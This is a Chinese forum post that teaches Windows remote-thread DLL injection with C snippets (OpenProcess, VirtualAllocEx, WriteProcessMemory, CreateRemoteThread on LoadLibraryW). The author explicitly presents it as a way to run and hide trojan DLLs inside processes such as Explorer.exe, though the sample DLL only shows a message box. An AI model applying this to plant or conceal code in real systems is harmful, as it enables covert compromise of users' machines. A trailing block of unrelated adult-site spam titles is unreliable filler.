曙海教育集團論壇開發(fā)語言培訓專區(qū)VB語言 → 用vb和c語言來進行遠程線形技術


  共有9970人關注過本帖樹形打印

主題:用vb和c語言來進行遠程線形技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發(fā)短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
用vb和c語言來進行遠程線形技術  發(fā)帖心情 Post By:2010-12-14 14:39:24


遠程線程技術指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋嘞蕖@缭谶h程進程內(nèi)部啟動一個DLL木馬(與進入進程內(nèi)部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數(shù)據(jù))。

  首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由于權限不足引起的,解決方法是通過種種途徑提升本地進程的權限) 

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠程創(chuàng)建線程 
                PROCESS_VM_OPERATION | file://允許遠程VM操作 
                PROCESS_VM_WRITE,//允許遠程VM寫 
                FALSE, dwRemoteProcessId ) 

  由于我們后面需要寫入遠程進程的內(nèi)存地址空間并建立遠程線程,所以需要申請足夠的權限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

  然后,我們可以建立LoadLibraryW函數(shù)這個線程來啟動我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠程進程內(nèi)調(diào)用的,所以我們首先還需要將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數(shù)的) 

 file://計算DLL路徑名需要的內(nèi)存空間 
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
 file://使用VirtualAllocEx函數(shù)在遠程進程的內(nèi)存地址空間分配DLL文件名緩沖區(qū) 
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
            MEM_COMMIT, PAGE_READWRITE); 
 file://使用WriteProcessMemory函數(shù)將DLL的路徑名復制到遠程進程的內(nèi)存空間 
 iReturnCode = WriteProcessMemory(hRemoteProcess, 
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
 file://計算LoadLibraryW的入口地址 
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

  萬事俱備,我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實際上是我們復制過去的木馬DLL的全路徑文件名)在遠程進程內(nèi)啟動我們的木馬DLL: 

 file://啟動遠程線程LoadLibraryW,通過遠程線程調(diào)用用戶的DLL文件 
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

  至此,遠程嵌入順利完成,為了試驗我們的DLL是不是已經(jīng)正常的在遠程線程運行,我編寫了以下的測試DLL: 

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
   { 
    char szProcessId[64] ; 
    switch ( reason ) 
     { 
      case DLL_PROCESS_ATTACH: 
       { 
         file://獲取當前進程ID 
         _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
       } 
      default: 
      return TRUE; 
     } 
   } 

  當我使用RmtDll.exe程序?qū)⑦@個TestDLL.dll嵌入Explorer.exe進程后(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到 

   Process ID: 1208 
   C:WINNTExplorer.exe (0x00400000) 
   …… 
   C:TestDLL.dll (0x100000000) 
   …… 

  這證明TestDLL.dll已經(jīng)在Explorer.exe進程內(nèi)正確地運行了。 

  無論是使用特洛伊DLL還是使用遠程線程,都是讓木馬的核心代碼運行于別的進程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。


支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

用vb和c語言來進行遠程線形技術








簽名
主站蜘蛛池模板: 欧美大bbbxxx视频| 亚洲av永久无码| awyy爱我影院午夜| 男人操女人的网站| 成年午夜无码av片在线观看| 国产午夜久久精品| 久久久精品人妻一区二区三区| 黑人巨鞭大战中国妇女| 最近2019中文免费字幕| 国产无遮挡又黄又爽免费网站 | 推油少妇久久99久久99久久| 国产伦精品一区二区三区免费下载| 久久精品无码一区二区日韩av| 成人黄色免费网址| 日本特黄特黄刺激大片免费| 国产在线a不卡免费视频| 久久亚洲国产伦理| 美女黄18以下禁止观看| 性欧美videos另类视频| 再一深点灬舒服灬太大了视频 | 噜噜高清欧美内射短视频| 中文字幕在线最新在线不卡| 美女黄色一级毛片| 好男人在线视频www官网| 人人妻人人澡人人爽欧美一区| 99久久免费中文字幕精品| 欧美日韩亚洲精品国产色| 国产精品嫩草影院在线| 五月婷婷六月爱| 色综合久久综合网| 成人在线综合网| 亲密爱人免费观看完整版| 55夜色66夜色国产精品视频| 欧洲吸奶大片在线看| 国产乱子伦视频大全| 一本大道加勒比久久| 浮力国产第一页| 国产特级毛片aaaaaa高清| 久久国产精品女| 精品三级66在线播放| 国产综合在线观看|